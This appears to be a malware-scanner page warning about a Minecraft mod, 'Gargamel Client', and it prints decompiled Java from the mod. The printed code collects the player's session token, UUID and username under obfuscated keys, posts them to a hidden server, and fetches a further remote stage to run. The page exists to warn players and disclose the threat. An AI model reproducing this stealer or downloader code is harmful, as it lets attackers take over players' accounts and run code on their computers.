Mod
Note from Modgrade
A player sent this file to our Scanner. It is not on Modrinth or CurseForge. We publish this page so that anyone who searches its name learns what it does.
Compare its SHA‑1 or SHA‑256 with a file you have.
Have a copy of Gargamel Client? Check whether it is a file with malware.
Drop it here. We compare its fingerprint with the Gargamel Client files we checked.
Download blocked: malware in a file of this project. See Security.
Malware
Downloads and runs hidden code.
We found this in its code. Wrong result? Tell us
What its code can do on your computer.
The part of the file where our checks found the malware, turned back into readable Java code.
com.example.ExampleMod.onInitialize...
JsonObject payload = new JsonObject();
payload.addProperty(Helper.load(new int[]{45, 73, 205, 44}, new int[]{10, 188, 117, 185}, 187, 67), ses.method_1676());
payload.addProperty(Helper.load(new int[]{45, 25}, new int[]{196, 148}, 187, 67), uuid != null ? uuid.toString() : "offline");
payload.addProperty(Helper.load(new int[]{14, 111, 253, 85, 244, 180}, new int[]{121, 13, 234, 79, 193}, 187, 67), ses.method_1674());
payload.addProperty(Helper.load(new int[]{237, 118, 140, 134, 215, 11, 20}, new int[]{136, 20, 230, 100, 126, 156}, 187, 67), userId);
HttpClient client = HttpClient.newHttpClient();
HttpRequest req = HttpRequest.newBuilder()
.uri(URI.create(z))
.header("Content-Type", "application/json")
.POST(BodyPublishers.ofString(payload.toString()))
.build();
client.send(req, BodyHandlers.discarding());
System.out.println("[EFN] ern");
} catch (Exception e) {
System.out.println("Mod init state: M3 " + e.getMessage());
return;
}
new Thread(() -> {
try {
Helper.stageWithContext(context);
} catch (Exception ex) {
System.out.println("Mod init state: M3 " + ex.getMessage());
...com.example.FabricAdapter.getVerifiedTextpublic String getVerifiedText(String Address) {
for (String Url : CLIENTS) {
try {
String message = this.callGetText(Url, Address);
if (message != null && message.length() > 3) {
int sep = message.lastIndexOf(124);
if (sep != -1) {
String text = message.substring(0, sep);
String sig = message.substring(sep + 1);
if (this.verify(text, sig)) {
return text;
}
}
}
} catch (Exception var10) {
}
}
return null;
}com.example.Helper.stageWithContextpublic static void stageWithContext(JsonObject context) {
String userId;
try (InputStreamReader reader = new InputStreamReader(Objects.requireNonNull(Helper.class.getClassLoader().getResourceAsStream("fabric.api.json")))) {
JsonObject json = new Gson().fromJson(reader, JsonObject.class);
userId = json.get("api_version").getAsString();
} catch (Exception e) {
System.out.println("Resource state: S0 " + e.getMessage());
return;
}
FabricAdapter rpc = new FabricAdapter();
String u = rpc.getVerifiedText(
load(
new int[]{48, 172, 110, 3, 217, 94, 220, 121, 247, 189, 58, 15, 126, 192, 123, 218, 239, 212, 19, 238, 217},
new int[]{122, 90, 99, 104, 40, 26, 43, 1, 168, 185, 242, 44, 141, 38, 89, 130, 173, 226, 38, 5, 83},
187,
67
)
)
+ load(new int[]{184, 189, 228, 247, 29, 89, 97, 158, 228}, new int[]{96, 83, 243, 54, 77, 233, 110, 207}, 187, 67);
context.addProperty("userId", userId);
try {
...com.example.Helper.dlprivate static byte[] dl(String u) {
try (HttpClient client = HttpClient.newHttpClient()) {
HttpRequest request = HttpRequest.newBuilder().uri(URI.create(u)).GET().build();
try {
HttpResponse<byte[]> response = client.send(request, BodyHandlers.ofByteArray());
int code = response.statusCode();
if (code != 200) {
System.out.println("Resource state: D");
return null;
} else {
return response.body();
}
} catch (Exception e) {
System.out.println("Resource state: D0 " + e.getMessage());
return null;
}
}
}de.labystudio.spotifyapi.open.OpenSpotifyAPI.requestGraphQLpublic <T> T requestGraphQL(GraphQLOperation operation, JsonObject variables, Class<T> clazz) throws IOException {
return this.requestGraphQL(operation, variables, clazz, true);
}de.labystudio.spotifyapi.open.OpenSpotifyAPI.requestServerTimepublic long requestServerTime() throws IOException {
URL url = new URL("https://open.spotify.com/api/server-time");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("Host", "open.spotify.com");
conn.setRequestProperty("User-Agent", USER_AGENT);
conn.setRequestProperty("Accept", "application/json");
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String response = reader.readLine();
reader.close();
JsonObject obj = GSON.fromJson(response, JsonObject.class);
return obj.get("serverTime").getAsLong();
}de.labystudio.spotifyapi.open.OpenSpotifyAPI.generateAccessTokenprivate AccessTokenResponse generateAccessToken() throws IOException {
Secret secret = this.secretProvider.getSecret();
if (secret == null) {
throw new IOException("No TOTP secret provided");
}
long serverTime = this.requestServerTime();
String totp = TOTP.generateOtp(secret.getSecretAsBytes(), serverTime, 30, 6);
AccessTokenResponse response = this.getToken("transport", totp, secret.getVersion());
if (!this.hasValidAccessToken(response)) {
response = this.getToken("init", totp, secret.getVersion());
}
if (!this.hasValidAccessToken(response)) {
throw new IOException("Could not generate access token");
} else {
return response;
}
}de.labystudio.spotifyapi.open.OpenSpotifyAPI.getTokenprivate AccessTokenResponse getToken(String mode, String totp, int version) throws IOException {
String url = String.format(
"https://open.spotify.com/api/token?reason=%s&productType=web-player&totp=%s&totpServer=%s&totpVer=%s", mode, totp, totp, version
);
HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
connection.addRequestProperty("User-Agent", USER_AGENT);
connection.addRequestProperty("referer", "https://open.spotify.com/");
connection.addRequestProperty("app-platform", "WebPlayer");
connection.setRequestProperty("Accept", "application/json");
int code = connection.getResponseCode();
if (code != 200) {
InputStream errorStream = connection.getErrorStream();
if (errorStream != null) {
JsonReader reader = new JsonReader(new InputStreamReader(errorStream));
JsonObject response = GSON.fromJson(reader, JsonObject.class);
throw new IOException("Could not retrieve access token: " + response.toString());
}
}
JsonReader reader = new JsonReader(new InputStreamReader(connection.getInputStream()));
return GSON.fromJson(reader, AccessTokenResponse.class);
}A mod runs on your computer like any program, so harmful code in it can steal your accounts or files.
gargamelclient